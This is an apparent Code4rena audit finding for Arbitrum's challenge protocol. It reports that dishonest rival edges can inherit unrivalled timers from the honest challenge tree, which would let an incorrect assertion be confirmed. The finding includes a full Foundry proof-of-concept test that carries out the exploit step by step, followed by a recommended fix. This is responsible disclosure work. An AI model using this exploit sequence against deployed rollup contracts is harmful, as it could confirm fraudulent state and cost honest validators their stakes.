c4-bot-1 commented 3 months ago

Lines of code

https://github.com/code-423n4/2024-05-arbitrum-foundation/blob/6f861c85b281a29f04daacfe17a2099d7dad5f8f/src/challengeV2/EdgeChallengeManager.sol#L505-L508 https://github.com/code-423n4/2024-05-arbitrum-foundation/blob/6f861c85b281a29f04daacfe17a2099d7dad5f8f/src/challengeV2/libraries/EdgeChallengeManagerLib.sol#L520-L531 https://github.com/code-423n4/2024-05-arbitrum-foundation/blob/6f861c85b281a29f04daacfe17a2099d7dad5f8f/src/challengeV2/libraries/EdgeChallengeManagerLib.sol#L689-L710

Vulnerability details

Impact

Timers can be inherited across different challenge trees and consequently incorrect assertions can be confirmed.

Proof of Concept

The function RollupUserLogic::updateTimerCacheByClaim allows inheritance of timers between different levels of a challenge. It performs some validation on edge being inherited from in checkClaimIdLink (the claiming edge). https://github.com/code-423n4/2024-05-arbitrum-foundation/blob/6f861c85b281a29f04daacfe17a2099d7dad5f8f/src/challengeV2/libraries/EdgeChallengeManagerLib.sol#L689-L710

    function checkClaimIdLink(EdgeStore storage store, bytes32 edgeId, bytes32 claimingEdgeId, uint8 numBigStepLevel)
        private
        view
    {
        // the origin id of an edge should be the mutual id of the edge in the level below
        if (store.edges[edgeId].mutualId() != store.edges[claimingEdgeId].originId) {
            revert OriginIdMutualIdMismatch(store.edges[edgeId].mutualId(), store.edges[claimingEdgeId].originId);
        }
        // the claiming edge must be exactly one level below
        if (nextEdgeLevel(store.edges[edgeId].level, numBigStepLevel) != store.edges[claimingEdgeId].level) {
            revert EdgeLevelInvalid(
                edgeId,
                claimingEdgeId,
                nextEdgeLevel(store.edges[edgeId].level, numBigStepLevel),
                store.edges[claimingEdgeId].level
            );
        }
    }

As per the comments, the claiming edge must be exactly one level below (ie. in the subchallenge directly after the inheriting edge) and its originId must match the mutualId of the inheriting edge. For clarification, we note that the inheriting edge must be a leaf edge in a challenge/subchallenge tree since the root edges of subchallenges (the layer zero edges) have originId derived from the mutualId of one of these leaf edges, and this originId is inherited by all its children which result from bisection.

Note that rival edges share the same mutualId by definition and since there isn't any extra validation, if a specific edge is a valid inheriting edge, all rivals will also be valid inheriting edges. This means rivals belonging to dishonest challenge edge trees will also be able to inherit from the timer of edges in the honest tree. Consequently, if an honest edge accumulates sufficient unrivalled time for confirmation, a malicious actor can frontrun the confirmation of the honest challenge tree to confirm the dishonest challenge, and in turn an incorrect assertion.

It is sufficient for only one dishonest child edge to inherit a sufficient timer via claim since the other will be unrivalled as challenges between two assertions can only follow one unique bisection path in each challenge tree. The only way to deny this would be to create another assertion that can be bisected to rival the other child to halt the timer accumulation, but this would require loss of the assertion and challenge stake (since only one rival assertion and challenge edge can be confirmed). The timer can then be propogated upwards by children until we reach the root challenge edge to allow confirmation.

Even if confirmation of the dishonest root challenge edge is prevented by admin action, confirmation of the layer zero edges of subchallenges would ensure honest validators lose the stake submitted for creating a rival edge (since only one rival edge can be confirmed) and the dishonest validator(s) regain their stake.

PoC

The PoC below demonstrates the inheritance of the timer from the honest tree by an edge in the dishonest tree and the confirmation of the dishonest challenge edge as a result. The challenge progresses to the last level of level 1 (the first subchallenge). Run the PoC below with the command: ```terminal forge test --match-contract Playground --match-test testConfirmIncorrectEdge ``` ```solidity pragma solidity ^0.8.17; import "forge-std/Test.sol"; import "./Utils.sol"; import "../MockAssertionChain.sol"; import "../../src/challengeV2/EdgeChallengeManager.sol"; import "@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol"; import "@openzeppelin/contracts/proxy/transparent/ProxyAdmin.sol"; import "../ERC20Mock.sol"; import "./StateTools.sol"; import "forge-std/console.sol"; import "./EdgeChallengeManager.t.sol"; contract Playground is EdgeChallengeManagerTest { function testConfirmIncorrectEdge() public { EdgeInitData memory ei = deployAndInit(); ( bytes32[] memory blockStates1, bytes32[] memory blockStates2, BisectionChildren[6] memory blockEdges1, BisectionChildren[6] memory blockEdges2 ) = createBlockEdgesAndBisectToFork( CreateBlockEdgesBisectArgs( ei.challengeManager, ei.a1, ei.a2, ei.a1State, ei.a2State, false, a1RandomStates, a1RandomStatesExp, a2RandomStates, a2RandomStatesExp ) ); // bisection of level 1, last bisection for winning edge is unrivalled BisectionData memory bsbd = createMachineEdgesAndBisectToFork( CreateMachineEdgesBisectArgs( ei.challengeManager, 1, blockEdges1[0].lowerChildId, blockEdges2[0].lowerChildId, blockStates1[1], blockStates2[1], true, ArrayUtilsLib.slice(blockStates1, 0, 2), ArrayUtilsLib.slice(blockStates2, 0, 2) ) ); // allow unrivalled timer to tick up for winning leaf _safeVmRoll(block.number + challengePeriodBlock); // update timer of level 1 unrivalled winning leaf ei.challengeManager.updateTimerCacheByChildren(bsbd.edges1[0].lowerChildId); ChallengeEdge memory winningEdge = ei.challengeManager.getEdge(bsbd.edges1[0].lowerChildId); ChallengeEdge memory losingRival = ei.challengeManager.getEdge(blockEdges2[0].lowerChildId); console.log("Losing rival timer before update:", losingRival.totalTimeUnrivaledCache); // inherit timer from level 1 winning leaf to level 0 losing rival ei.challengeManager.updateTimerCacheByClaim( blockEdges2[0].lowerChildId, bsbd.edges1[0].lowerChildId ); losingRival = ei.challengeManager.getEdge(blockEdges2[0].lowerChildId); console.log("Losing rival timer after update:", losingRival.totalTimeUnrivaledCache); // update timer of level 0 unrivalled losing upper child ei.challengeManager.updateTimerCacheByChildren(blockEdges2[0].upperChildId); console.log("Losing upper timer unrivalled:", ei.challengeManager.timeUnrivaled(blockEdges2[0].upperChildId)); // propogate timers upwards to the incorrect assertion from the losing children ei.challengeManager.updateTimerCacheByChildren(blockEdges2[1].lowerChildId); ei.challengeManager.updateTimerCacheByChildren(blockEdges2[1].upperChildId); ei.challengeManager.updateTimerCacheByChildren(blockEdges2[2].lowerChildId); ei.challengeManager.updateTimerCacheByChildren(blockEdges2[2].upperChildId); ei.challengeManager.updateTimerCacheByChildren(blockEdges2[3].lowerChildId); ei.challengeManager.updateTimerCacheByChildren(blockEdges2[3].upperChildId); ei.challengeManager.updateTimerCacheByChildren(blockEdges2[4].lowerChildId); ei.challengeManager.updateTimerCacheByChildren(blockEdges2[4].upperChildId); ei.challengeManager.updateTimerCacheByChildren(blockEdges2[5].lowerChildId); assertEq( ei.challengeManager.getEdge(blockEdges2[5].lowerChildId).totalTimeUnrivaledCache, challengePeriodBlock ); // confirm the edge for the incorrect assertion ei.challengeManager.confirmEdgeByTime(blockEdges2[5].lowerChildId, ei.a1Data); assertTrue( ei.challengeManager.getEdge(blockEdges2[5].lowerChildId).status == EdgeStatus.Confirmed ); } } ```

Tools Used

Manual Review

Recommended Mitigation Steps

Allow child edges (from bisection) to inherit the claimId of their parent and check that the claimId of the claiming edge matches the edgeId of the inheriting edge (this would require changes to isLayerZeroEdge).